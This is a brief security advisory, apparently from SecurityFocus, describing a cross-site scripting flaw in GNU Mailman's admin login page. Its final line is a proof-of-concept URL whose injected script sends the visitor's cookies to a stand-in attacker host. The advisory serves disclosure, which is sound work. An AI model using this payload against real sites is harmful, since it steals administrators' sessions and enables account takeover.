source: http://www.securityfocus.com/bid/5299/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code. 

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software.

http://target/mailman_directory/admin/ml-name?adminpw="/onClick="window.open('http://attackerhost/attackerscript.cgi?'+document.cookie);